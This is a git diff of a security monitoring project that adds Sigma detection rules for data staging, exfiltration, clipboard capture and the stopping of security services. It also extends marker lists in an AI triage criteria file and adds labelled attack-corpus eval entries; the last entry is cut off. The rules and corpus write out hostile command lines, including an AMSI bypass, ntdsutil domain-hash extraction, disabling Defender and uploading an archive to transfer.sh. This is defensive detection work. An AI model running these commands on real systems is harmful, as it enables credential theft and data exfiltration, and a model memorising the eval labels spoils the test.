diff --git a/README.md b/README.md index 364182f..4b4f42e 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ phone-home. If you want a smarter model and have the RAM, swap it in `.env`. - **Collects telemetry** from Windows and Linux agents over a single TCP channel. SIEM events, alerts, FIM, packages, network connections, open ports, Docker activity, screen frames. -- **Detects with Sigma rules, on the endpoint.** 37 rules covering 38 MITRE +- **Detects with Sigma rules, on the endpoint.** 43 rules covering 47 MITRE ATT&CK techniques ship in `conf/sigma/builtin/`; drop community rulesets in beside them. Sigma matches *named fields* rather than text, so `Image|endswith: '\vssadmin.exe'` cannot be defeated by the word "vssadmin" @@ -47,7 +47,7 @@ phone-home. If you want a smarter model and have the RAM, swap it in `.env`. that is the more competent attack, since spraying wide and shallow stays under both per-account lockout and per-host thresholds. - Total coverage with Sigma: 42 techniques. Every window fires once rather than + Total coverage with Sigma: 51 techniques. Every window fires once rather than once per event, and every counter is bounded — a counter keyed on an attacker-supplied username is a memory exhaustion primitive, not a detection. - **Maps detections to MITRE ATT&CK, from the rules themselves.** Rules carry diff --git a/Sentora/conf/sigma/README.md b/Sentora/conf/sigma/README.md index 2962285..7e9bebb 100644 --- a/Sentora/conf/sigma/README.md +++ b/Sentora/conf/sigma/README.md @@ -10,7 +10,7 @@ addresses. ## What ships in `builtin/` -A baseline of 37 rules covering 38 ATT&CK techniques. It exists because the +A baseline of 43 rules covering 47 ATT&CK techniques. It exists because the alternative was worse: this directory was empty by design, on the argument that a detection nobody reviewed is not an improvement — which is true, and which produced zero ATT&CK coverage on every install and a coverage page with diff --git a/Sentora/conf/sigma/builtin/linux_data_staged_in_archive.yml b/Sentora/conf/sigma/builtin/linux_data_staged_in_archive.yml new file mode 100644 index 0000000..cd7e638 --- /dev/null +++ b/Sentora/conf/sigma/builtin/linux_data_staged_in_archive.yml @@ -0,0 +1,61 @@ +title: Local Data Collected Into An Archive In A World-Writable Directory +id: 6d91b28c-3a47-4e5f-9c02-8b7ae1d43c05 +status: stable +description: > + The Linux half of the same step. Data is gathered into one object before + it moves, and on a server that object lands somewhere the account can + write without being noticed - /tmp, /dev/shm, /var/tmp. + + /dev/shm is worth its own mention. It is memory, not disk, so an archive + staged there leaves nothing for a later forensic image to recover and + disappears on reboot. A backup script has no reason to use it; somebody + who does not want the file found does. + + The rule is on the pairing. tar and zip are how this machine is + administered, and /tmp is where ordinary work happens. An archive being + *created* in one of those directories out of a home directory, /etc or a + database path is the shape that matters. +references: + - https://attack.mitre.org/techniques/T1560/001/ + - https://attack.mitre.org/techniques/T1074/001/ +author: Sentora +date: 2026/09/07 +logsource: + product: linux + category: process_creation +detection: + archive_create: + CommandLine|contains: + - 'tar -c' + - 'tar c' + - 'tar --create' + - 'zip -r' + - '7z a' + - 'gzip -c' + staging_location: + CommandLine|contains: + - '/tmp/' + - '/dev/shm/' + - '/var/tmp/' + sensitive_source: + CommandLine|contains: + - '/home/' + - '/root/' + - '/etc/' + - '/var/lib/mysql' + - '/var/lib/postgresql' + - '/opt/' + - '/srv/' + memory_backed: + CommandLine|contains: '/dev/shm/' + condition: archive_create and (staging_location or sensitive_source) and + (sensitive_source or memory_backed) +falsepositives: + - Backup jobs staging in /var/tmp. They recur on a schedule from cron, + which is what separates them from a single collection. + - Package builds archiving out of /opt or /srv. +level: high +tags: + - attack.collection + - attack.t1560.001 + - attack.t1074.001 diff --git a/Sentora/conf/sigma/builtin/linux_file_pushed_offhost.yml b/Sentora/conf/sigma/builtin/linux_file_pushed_offhost.yml new file mode 100644 index 0000000..d8cc285 --- /dev/null +++ b/Sentora/conf/sigma/builtin/linux_file_pushed_offhost.yml @@ -0,0 +1,83 @@ +title: File Pushed Off The Host Over A Non-Interactive Channel +id: a2f37e50-8c94-4d16-b7e3-5f108ca6db29 +status: stable +description: > + A server has fewer excuses than a workstation. Nobody is sitting at it + browsing, so an outbound transfer carrying a local file is either a job + somebody configured or somebody taking something. + + Two shapes, and each is a different level of deliberate. `curl -T` and + `curl --upload-file` say a file is the payload rather than the response. + And a file redirected into `nc`, `openssl s_client` or `/dev/tcp` is a raw + socket carrying bytes with no protocol to inspect - which is chosen + precisely because there is nothing for a proxy to read. + + `scp` and `rsync` were a third branch and are deliberately gone. They are + how a server is administered: the sample `rsync -az --delete /srv/data/ + backup-01:/srv/data/` is a scheduled backup, and a rule that pages on + every backup gets muted - which is worse than not having it, because the + console still counts it as coverage. Catching that would need to know + which destinations belong to the estate, and this rule cannot. + + `/dev/tcp` deserves the attention. It is a bash builtin, so it needs + nothing installed, leaves no binary to find, and works on a host stripped + of every network tool. On a system where somebody has removed curl to + harden it, this is what is left. + + The paste and tunnel services are matched on their own. A managed Linux + host has no routine business with them, and naming them catches the + transfers that use an ordinary POST rather than a recognisable switch. +references: + - https://attack.mitre.org/techniques/T1048/ + - https://attack.mitre.org/techniques/T1567/002/ +author: Sentora +date: 2026/09/07 +logsource: + product: linux + category: process_creation +detection: + curl_upload: + CommandLine|contains|all: + - 'curl' + CommandLine|contains: + - ' -T ' + - ' -F ' + - '--upload-file' + - '--data-binary @' + raw_socket: + CommandLine|contains: + - '/dev/tcp/' + - 'nc -' + - 'ncat ' + - 'openssl s_client' + reads_a_file: + CommandLine|contains: + - ' < ' + # `cat /` and not `cat `, because `cat ` is a substring of `ncat ` + # and matched every netcat command line - including the reverse + # shell that has its own rule. An absolute path after it is what + # actually says a file is being read. + - 'cat /' + - '@/' + known_drop_service: + CommandLine|contains: + - 'pastebin.com' + - 'transfer.sh' + - 'file.io' + - 'anonfiles' + - 'gofile.io' + - 'ngrok.io' + - 'webhook.site' + - 'api.telegram.org' + - 'discord.com/api/webhooks' + condition: known_drop_service or curl_upload or + (raw_socket and reads_a_file) +falsepositives: + - A deployment script posting an artefact to an internal service with + `curl -T`. The hostname is what separates it from exfiltration. + - Health-check tooling using netcat with a here-string rather than a file. +level: high +tags: + - attack.exfiltration + - attack.t1048 + - attack.t1567.002 diff --git a/Sentora/conf/sigma/builtin/win_clipboard_and_screen_captured.yml b/Sentora/conf/sigma/builtin/win_clipboard_and_screen_captured.yml new file mode 100644 index 0000000..5c435fe --- /dev/null +++ b/Sentora/conf/sigma/builtin/win_clipboard_and_screen_captured.yml @@ -0,0 +1,64 @@ +title: Clipboard Or Screen Captured From A Script Host +id: 8b2c7f19-64ad-4f83-a5e1-0d3b96c7e4f8 +status: stable +description: > + Two things on a workstation carry credentials that never touch a file: the + clipboard, which is where a password manager puts a password for the + fifteen seconds before it is pasted, and the screen, which is where it is + displayed. + + Both are reachable from PowerShell in one line, with no dropped binary and + nothing to allow-list against. `Get-Clipboard` is a supported cmdlet. + `CopyFromScreen` is one call on a Graphics object. Neither needs + privileges beyond the user's own, which is the point - this is what an + attacker does *after* landing as an ordinary user and before finding + anything worth escalating to. + + Scoped to script hosts rather than to the calls alone. A person copying + text is not this; a script reading what they copied is. + + Repetition is what separates a helper script from surveillance, and this + rule cannot see it - `core.correlation` counts recurrence across events, + and one hit here is worth looking at rather than acting on. +references: + - https://attack.mitre.org/techniques/T1115/ + - https://attack.mitre.org/techniques/T1113/ +author: Sentora +date: 2026/09/07 +logsource: + product: windows + category: process_creation +detection: + script_host: + CommandLine|contains: + - 'powershell' + - 'pwsh' + - 'cscript' + - 'wscript' + clipboard_read: + CommandLine|contains: + - 'Get-Clipboard' + - 'Windows.Forms.Clipboard' + - 'GetText()' + screen_capture: + CommandLine|contains: + - 'CopyFromScreen' + - 'Drawing.Bitmap' + - 'PrimaryScreen' + keystroke_hooks: + CommandLine|contains: + - 'GetAsyncKeyState' + - 'SetWindowsHookEx' + condition: keystroke_hooks or (script_host and (clipboard_read or screen_capture)) +falsepositives: + - A remote-support or screenshot utility driven from PowerShell. Those are + usually the same script on a schedule; a one-off from an unexpected + parent is not. + - Clipboard helpers in developer tooling. +level: high +tags: + - attack.collection + - attack.credential_access + - attack.t1115 + - attack.t1113 + - attack.t1056.001 diff --git a/Sentora/conf/sigma/builtin/win_data_staged_in_archive.yml b/Sentora/conf/sigma/builtin/win_data_staged_in_archive.yml new file mode 100644 index 0000000..f091583 --- /dev/null +++ b/Sentora/conf/sigma/builtin/win_data_staged_in_archive.yml @@ -0,0 +1,80 @@ +title: Local Data Collected Into An Archive In A Staging Directory +id: 3f8a1d64-7c52-4e09-b3d7-9a1e6f0c58b2 +status: stable +description: > + Data almost never leaves a host as loose files. It is gathered, compressed + into one object, and then moved - because one upload is quicker, quieter + and far less likely to be interrupted halfway than three thousand. + + The rule is on the pairing, not on the tools. rar, 7-Zip, tar and + Compress-Archive are ordinary; so is writing to %TEMP%. What is not + ordinary is an archive being *created* in a directory nobody keeps + documents in - Temp, ProgramData, the Public profile, a Recycle Bin - and + that combination is what an operator needs to see. + + Password-protected archives get their own branch and no location + requirement. `rar a -hp` exists to make an archive whose contents cannot + be inspected in transit, which is a reason a backup script does not have. + + This is the step before exfiltration, and it is the last one that still + happens on a host you control. After this the data is a single file and + the next event is it leaving. +references: + - https://attack.mitre.org/techniques/T1560/001/ + - https://attack.mitre.org/techniques/T1074/001/ +author: Sentora +date: 2026/09/07 +logsource: + product: windows + category: process_creation +detection: + rar_create: + CommandLine|contains|all: + - 'rar' + - ' a ' + sevenzip_create: + CommandLine|contains|all: + - '7z' + - ' a ' + tar_create: + # `tar -c` as one string, not `tar` and `-c` separately. `Start-Sleep` + # contains "tar", and any PowerShell line with `-c` in it then matched + # - a clipboard-stealing loop fired this rule for no reason. Same + # class as `cat ` matching inside `ncat `. + CommandLine|contains: + - 'tar -c' + - 'tar.exe -c' + - 'tar cf' + - 'tar czf' + powershell_archive: + CommandLine|contains: 'Compress-Archive' + makecab: + CommandLine|contains: 'makecab' + staging_location: + CommandLine|contains: + - '\Temp\' + - '\Windows\Temp' + - '\ProgramData\' + - '\Users\Public' + - '\$Recycle.Bin' + - '\PerfLogs' + - 'C:\Windows\Tasks' + password_protected: + CommandLine|contains: + - ' -hp' + - ' -p' + condition: > + ((rar_create or sevenzip_create) and password_protected) or + ((rar_create or sevenzip_create or tar_create or powershell_archive or + makecab) and staging_location) +falsepositives: + - A backup or packaging job that legitimately stages in %TEMP%. Those + repeat on a schedule from the same parent, which is what tells them + apart from a one-off collection. + - Installers unpacking into ProgramData. Those extract rather than create, + and this rule keys on the create switch. +level: high +tags: + - attack.collection + - attack.t1560.001 + - attack.t1074.001 diff --git a/Sentora/conf/sigma/builtin/win_local_account_created.yml b/Sentora/conf/sigma/builtin/win_local_account_created.yml index 25ed863..ccd1c62 100644 --- a/Sentora/conf/sigma/builtin/win_local_account_created.yml +++ b/Sentora/conf/sigma/builtin/win_local_account_created.yml @@ -22,8 +22,17 @@ detection: EventID: 4720 net_user_add: CommandLine|contains|all: - - 'net user' + - 'user' - '/add' + # `net user` and `net.exe user` are the same command, and matching the + # first spelling alone missed every command line that carries the + # extension - which is most of them. Split so either works: `net` + # here, `user` and `/add` above. + CommandLine|contains: + - 'net user' + - 'net.exe user' + - 'net1 user' + - 'net1.exe user' localgroup_add: CommandLine|contains|all: - 'localgroup' diff --git a/Sentora/conf/sigma/builtin/win_recovery_services_stopped.yml b/Sentora/conf/sigma/builtin/win_recovery_services_stopped.yml new file mode 100644 index 0000000..5ed11fb --- /dev/null +++ b/Sentora/conf/sigma/builtin/win_recovery_services_stopped.yml @@ -0,0 +1,88 @@ +title: Backup Or Security Services Stopped Before Encryption +id: 5e83b1a7-2fc6-49d8-a041-6b9e72d3c8f4 +status: stable +description: > + Ransomware cannot encrypt a file another process holds open, and it cannot + finish at all if something is watching. So the minutes before the + encryption are spent shutting things down: the database that has the + tables locked, the backup agent that would preserve a copy, and the + endpoint protection that would object. + + `win_shadow_copy_deletion` already covers destroying the local restore + points. This is the other half of the same preparation, and it usually + comes first - a batch of `net stop` or `sc stop` against service names + that have nothing in common except that they are in the way. + + Two branches, and the security one needs no company. Stopping SQL Server + to run maintenance is a real thing an administrator does at two in the + morning; stopping Defender, Sophos or CrowdStrike is not maintenance in + any story that ends well. + + One service stopped is administration. The signal is the sweep, and this + rule sees one event at a time - `core.correlation` is what counts a run + of them, and that is the number worth waking somebody for. +references: + - https://attack.mitre.org/techniques/T1489/ + - https://attack.mitre.org/techniques/T1562/001/ +author: Sentora +date: 2026/09/07 +logsource: + product: windows + category: process_creation +detection: + stop_command: + CommandLine|contains: + # With and without the extension. A real command line carries + # `net.exe stop`, and matching only `net stop` missed every one + # of them - found by the corpus case for this rule failing to + # fire on the command an attacker actually types. + - 'net stop' + - 'net.exe stop' + - 'net1 stop' + - 'net1.exe stop' + - 'sc stop' + - 'sc.exe stop' + - 'sc config' + - 'Stop-Service' + - 'Set-Service' + - 'taskkill' + backup_or_database: + CommandLine|contains: + - 'MSSQL' + - 'SQLSERVERAGENT' + - 'MSExchange' + - 'Veeam' + - 'BackupExec' + - 'AcronisAgent' + - 'VSS' + - 'SQLWriter' + - 'MongoDB' + - 'postgresql' + - 'OracleService' + security_product: + CommandLine|contains: + - 'WinDefend' + - 'Sense' + - 'SecurityHealthService' + - 'Sophos' + - 'CSFalcon' + - 'CylanceSvc' + - 'SentinelAgent' + - 'McAfee' + - 'SAVService' + - 'wuauserv' + disable_startup: + CommandLine|contains: 'start= disabled' + condition: (stop_command and (backup_or_database or security_product)) or + (disable_startup and (backup_or_database or security_product)) +falsepositives: + - Scheduled maintenance stopping a database service. Those run from a + known job at a known hour; the security branch has no equivalent excuse. + - An uninstall or upgrade of the security product itself, which stops it + before replacing it. +level: critical +tags: + - attack.impact + - attack.defense_evasion + - attack.t1489 + - attack.t1562.001 diff --git a/Sentora/conf/sigma/builtin/win_upload_from_script_host.yml b/Sentora/conf/sigma/builtin/win_upload_from_script_host.yml new file mode 100644 index 0000000..f592d77 --- /dev/null +++ b/Sentora/conf/sigma/builtin/win_upload_from_script_host.yml @@ -0,0 +1,79 @@ +title: File Uploaded To A Web Service From A Script Host +id: c47e0a35-9d18-4b62-8fa0-71c3d6e295ab +status: stable +description: > + The last step, and the one the rest of the chain exists to reach. Once + data is a single archive, it leaves - and it leaves over HTTPS to a + service the network already permits, because a proxy that blocks + Dropbox is rarer than one that blocks a raw socket. + + What makes this detectable is direction. The same tools that fetch a + payload also send one, and this platform already watches the fetch + (`win_lolbin_remote_payload`); what it did not watch was the push. + `-Method Post`, `-InFile`, `curl -T`, `curl -F` and a WebClient upload all + say the data is going out. + + The paste and file-sharing hosts are listed separately and need no upload + switch. Nothing on a managed endpoint has a routine reason to talk to + pastebin or a transfer service from a script, and naming them catches the + cases that use a plain POST body rather than a recognisable switch. + + Deliberately not gated on an archive existing first. Exfiltration that + skips staging is still exfiltration, and tying the two together would + mean missing the small, targeted theft entirely. +references: + - https://attack.mitre.org/techniques/T1567/002/ + - https://attack.mitre.org/techniques/T1048/003/ +author: Sentora +date: 2026/09/07 +logsource: + product: windows + category: process_creation +detection: + script_host: + CommandLine|contains: + - 'powershell' + - 'pwsh' + - 'curl' + - 'bitsadmin' + - 'certutil' + upload_intent: + CommandLine|contains: + - 'Method Post' + - 'Method PUT' + - '-InFile' + - 'UploadFile' + - 'UploadString' + - '--upload-file' + - '--form' + - '/upload' + remote_target: + CommandLine|contains: + - 'http://' + - 'https://' + - 'ftp://' + known_drop_service: + CommandLine|contains: + - 'pastebin.com' + - 'paste.ee' + - 'hastebin' + - 'transfer.sh' + - 'file.io' + - 'anonfiles' + - 'gofile.io' + - 'ngrok.io' + - 'requestbin' + - 'webhook.site' + - 'discord.com/api/webhooks' + - 'api.telegram.org' + condition: known_drop_service or (script_host and upload_intent and remote_target) +falsepositives: + - A deployment or telemetry agent posting to an internal endpoint. Those + go to a hostname the estate owns, which is the thing to check first. + - Developers pushing to an internal artefact store from a script. +level: high +tags: + - attack.exfiltration + - attack.command_and_control + - attack.t1567.002 + - attack.t1048.003 diff --git a/ai/criteria.py b/ai/criteria.py index cc6f389..8bab6bd 100644 --- a/ai/criteria.py +++ b/ai/criteria.py @@ -23,6 +23,23 @@ intrusion - `vssadmin delete shadows` is run by backup software too. It only refuses claims that nothing in the log supports, which is the failure that kept coming back. + +Narrow in a second sense too, and it is worth writing down because the pull is +constant. These six are the prompt's definition of CRITICAL, not a catalogue of +techniques. Every Sigma rule added to the platform is a temptation to add a +marker beside it - and a marker forces CRITICAL, which bypasses the confidence +gate and puts the event in front of a person. `net user /add` is a real +technique and also what the helpdesk does all morning; `net group "Domain +Admins"` is reconnaissance and also the first thing an administrator types. +Those belong to the rules, which can score and be tuned. What belongs here is +evidence that is hard to produce accidentally. + +The markers must also match what the *agent* ships. The Windows collector sends +`StringInserts` joined with " | " and never calls the message formatter, so +"The audit log was cleared" and "A service was installed in the system" - both +of which were markers here - are text this platform does not produce. They +matched hand-written corpus lines and nothing else. The `eid=` forms below are +the same intent against the real message. """ from __future__ import annotations @@ -43,6 +60,12 @@ ["reg", "save", "hklm\\system"], ["ntds.dit"], ["lsass.dmp"], + # `ntds.dit` above is the file, and the supported way of extracting it + # never names it: `ntdsutil "ac i ntds" "ifm" "create full C:\..."` + # writes the database and the SYSTEM hive that decrypts it into a + # directory of your choosing. Every domain hash, from a signed tool + # that is meant to be run on a domain controller. + ["ntdsutil", "ifm"], ]), "C2": ("remote execution", [ # Administrative shares specifically. The marker here was @@ -57,12 +80,32 @@ ]), "C3": ("evidence destruction", [ # Not a bare "1102": that is four digits and appears in process IDs, - # byte counts and timestamps. The phrase is what identifies the event. + # byte counts and timestamps. `EID=1102` is how the agent writes the + # event id and cannot be a byte count. + # + # The three phrases below were the only markers here, and 1102 never + # matched one. They are the message *template*; the collector sends + # StringInserts, which for 1102 are four fields naming the account that + # did it and no prose at all. The phrases stay for producers that do + # render - a forwarded syslog line, a pasted log - and `eid=1102` is + # the same event as it actually arrives. + ["eid=1102"], ["audit log was cleared"], ["event log was cleared"], ["the system log was cleared"], + # The command rather than the record it leaves. `wevtutil archive` is + # log rotation and runs nightly on managed estates, so ` cl ` is + # required: that is the clear subcommand and nothing else spells it. + ["wevtutil", " cl "], ["add-mppreference", "exclusionpath"], ["set-mppreference", "disablerealtimemonitoring"], + # Not destruction of evidence but prevention of it, which is what the + # two mppreference markers above already are. Turning the scanner, + # the in-process scan interface or the firewall off is a step taken so + # that the next step produces nothing to find. + ["amsiinitfailed"], + ["advfirewall", "state off"], + ["stop", "windefend"], ]), "C4": ("persistence to a writable path", [ # A path is a location, not a mechanism, and this used to match on @@ -77,7 +120,18 @@ # that will run again; a file in a writable directory is not. ["currentversion\\run", "users\\public"], ["currentversion\\run", "\\temp\\"], - ["currentversion\\run", "\\appdata\\"], + # A Run key into AppData is deliberately absent, and it was still here + # paired with the key path - which is the same alternative the comment + # above says was removed, written longer. The corpus case for it + # spells the key out in full (`HKLM\SOFTWARE\Microsoft\Windows\ + # CurrentVersion\Run\Updater` -> `AppData\Roaming\updater.exe`, which + # is what Sysmon EID 13 actually contains), so it matched, and this + # criterion forces CRITICAL. Its expected verdict is SUSPICIOUS: the + # eval could never score it right whatever the model said, and nothing + # reported that because the only test of it elided `CurrentVersion` + # from the path and the benign-corpus test looks at NOT_CRITICAL rows + # only. Badly packaged software installs Run keys into AppData; the + # model gets to judge that one. ["currentversion\\run", "programdata"], ["schtasks", "/create", "users\\public"], ["schtasks", "/create", "\\temp\\"], @@ -85,6 +139,13 @@ ["scheduled task was created", "\\temp\\"], ["service was installed", "users\\public"], ["service was installed", "\\temp\\"], + # Same correction as C3's 1102. "A service was installed in the + # system" is the template; 7045 arrives as five inserts - service + # name, image path, type, start type, account - and the sentence is + # not among them. The pairing is unchanged: a service is a mechanism, + # and the path is what makes this one worth waking somebody for. + ["eid=7045", "users\\public"], + ["eid=7045", "\\temp\\"], ]), "C5": ("obfuscated execution", [ # `-enc` alone was here and is not an indicator - the corpus makes @@ -98,6 +159,13 @@ ["iex(", "new-object"], ["iex (", "new-object"], ["frombase64string", "invoke-expression"], + # `downloadstring` above is already a fetch rather than an + # obfuscation, so this criterion has held "remote code arrives and + # runs" from the start. certutil is the same act through a binary + # Microsoft signed, which is the whole reason it is chosen - + # application allow-listing does not stop it. `-urlcache` is required + # because certutil's ordinary work is certificates, not downloads. + ["certutil", "-urlcache"], ]), "C6": ("destruction of recovery", [ ["vssadmin", "delete", "shadows"], diff --git a/evals/corpus_attacks.jsonl b/evals/corpus_attacks.jsonl index 1f12458..274c386 100644 --- a/evals/corpus_attacks.jsonl +++ b/evals/corpus_attacks.jsonl @@ -17,3 +17,19 @@ {"id": "constructed:observed-4798-git-bash", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "CRITICAL", "timestamp": "2026-08-23 03:14:07", "message": "{\"timestamp\": \"2026-08-23 03:14:07\", \"datetime\": \"2026-08-23 03:14:07\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"CRITICAL\", \"event_type\": \"DESERIALIZATION\", \"message\": \"[Microsoft-Windows-Security-Auditing] EID=4798, Cat=13824 | jdoe | WKSTN-14 | S-1-5-21-1111111111-2222222222-3333333333-1001 | S-1-5-21-1111111111-2222222222-3333333333-1001 | jdoe | WKSTN-14 | 0xf7bc2 | 0x3fe4 | C:\\\\Program Files\\\\Git\\\\usr\\\\bin\\\\bash.exe\"}"}, "expected": "NOT_CRITICAL", "note": "OBSERVED false positive. EID 4798 is 'a user's local group membership was enumerated', here by Git Bash starting up, for the user's own account. The model called it Credential Access and recommended ISOLATE_HOST.", "recorded_severity": "CRITICAL", "below_floor": false, "constructed": true} {"id": "constructed:observed-7040-service-start-type", "table": "siem_events", "event": {"id": null, "source": "System/Service Control Manager", "severity": "MEDIUM", "timestamp": "2026-08-23 03:14:07", "message": "{\"timestamp\": \"2026-08-23 03:14:07\", \"datetime\": \"2026-08-23 03:14:07\", \"source\": \"System/Service Control Manager\", \"severity\": \"MEDIUM\", \"event_type\": \"SYSTEM_SECURITY\", \"message\": \"[System] EID=7040, Cat=0 | The start type of the Background Intelligent Transfer Service service was changed from demand start to auto start.\"}"}, "expected": "NOT_CRITICAL", "note": "OBSERVED false positive. A service start type changed - which Windows Update, driver installs and Docker Desktop all do routinely.", "recorded_severity": "MEDIUM", "below_floor": false, "constructed": true} {"id": "constructed:observed-4624-system-logon", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "MEDIUM", "timestamp": "2026-08-23 03:14:07", "message": "{\"timestamp\": \"2026-08-23 03:14:07\", \"datetime\": \"2026-08-23 03:14:07\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"MEDIUM\", \"event_type\": \"WINDOWS_SECURITY\", \"message\": \"[Microsoft-Windows-Security-Auditing] EID=4624, Cat=12544 | S-1-5-18 | SYSTEM | NT AUTHORITY | LogonType=5 | AuthenticationPackage=Negotiate | ProcessName=C:\\\\Windows\\\\System32\\\\services.exe\"}"}, "expected": "NOT_CRITICAL", "note": "OBSERVED false positive shape. A network logon by the machine account to itself. LogonType 5 is the Service Control Manager starting a service; there is no more routine event on Windows.", "recorded_severity": "MEDIUM", "below_floor": false, "constructed": true} +{"id": "constructed:t1560-archive-staged", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:11:44", "message": "{\"timestamp\": \"2026-09-07 02:11:44\", \"datetime\": \"2026-09-07 02:11:44\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=rar.exe a -hp7Gh2 C:\\\\Windows\\\\Temp\\\\out.rar C:\\\\Users\\\\jdoe\\\\Documents\"}"}, "expected": "CRITICAL", "note": "T1560.001 Local data compressed into a password-protected archive in a staging directory. The step before exfiltration, and the last one that still happens on a host you control.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1115-clipboard-capture", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:11:44", "message": "{\"timestamp\": \"2026-09-07 02:11:44\", \"datetime\": \"2026-09-07 02:11:44\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=powershell.exe -nop -w hidden -c \\\"while($true){Get-Clipboard | Out-File -Append C:\\\\Users\\\\Public\\\\c.txt; Start-Sleep 5}\\\"\"}"}, "expected": "CRITICAL", "note": "T1115 Clipboard read in a loop from a hidden script host. The clipboard is where a password manager puts a password for the fifteen seconds before it is pasted.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1567-web-upload", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:11:44", "message": "{\"timestamp\": \"2026-09-07 02:11:44\", \"datetime\": \"2026-09-07 02:11:44\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=powershell.exe -c \\\"Invoke-RestMethod -Uri https://transfer.sh/out.rar -Method Post -InFile C:\\\\Windows\\\\Temp\\\\out.rar\\\"\"}"}, "expected": "CRITICAL", "note": "T1567.002 The archive leaves over HTTPS to a transfer service. The platform already watched the fetch; this is the push.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1489-services-stopped", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:11:44", "message": "{\"timestamp\": \"2026-09-07 02:11:44\", \"datetime\": \"2026-09-07 02:11:44\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=net.exe stop WinDefend /y\"}"}, "expected": "CRITICAL", "note": "T1489 Endpoint protection stopped. Ransomware cannot finish while something is watching, so this comes before the encryption.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1562-amsi-bypass", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=powershell.exe -nop -w hidden -c \\\"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\\\\\\\"\"}"}, "expected": "CRITICAL", "note": "T1562.001 AMSI switched off inside the process before anything is run, so the scan that would have inspected the next command never happens.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1003-ntds-extraction", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=ntdsutil.exe \\\\\\\"ac i ntds\\\\\\\" \\\\\\\"ifm\\\\\\\" \\\\\\\"create full C:\\\\Windows\\\\Temp\\\\ifm\\\\\\\" q q\"}"}, "expected": "CRITICAL", "note": "T1003.003 The whole Active Directory database copied out. Every domain hash in one file, and ntdsutil is the supported tool for it.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1087-domain-recon", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=cmd.exe /c nltest /domain_trusts /all_trusts && net group \\\"Domain Admins\\\" /domain\"}"}, "expected": "CRITICAL", "note": "T1087.002 Domain trusts and the admin group enumerated from a workstation. The question an attacker asks once they have a foothold and want to know where to go next.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1136-local-admin-added", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", "severity": "HIGH", "timestamp": "2026-09-07 02:44:10", "message": "{\"timestamp\": \"2026-09-07 02:44:10\", \"datetime\": \"2026-09-07 02:44:10\", \"source\": \"Security/Microsoft-Windows-Security-Auditing\", \"severity\": \"HIGH\", \"event_type\": \"MALWARE\", \"message\": \"[Security] EID=4688, Cat=13312 | New Process | Account=CORP\\\\jdoe | CommandLine=net.exe user svc_helpdesk P@ssw0rd123 /add /domain\"}"}, "expected": "CRITICAL", "note": "T1136.001 A new account created from the command line. Persistence that survives every password reset aimed at the account that was actually compromised.", "recorded_severity": "HIGH", "below_floor": false, "constructed": true} +{"id": "constructed:t1566-office-spawns-shell", "table": "siem_events", "event": {"id": null, "source": "Security/Microsoft-Windows-Security-Auditing", 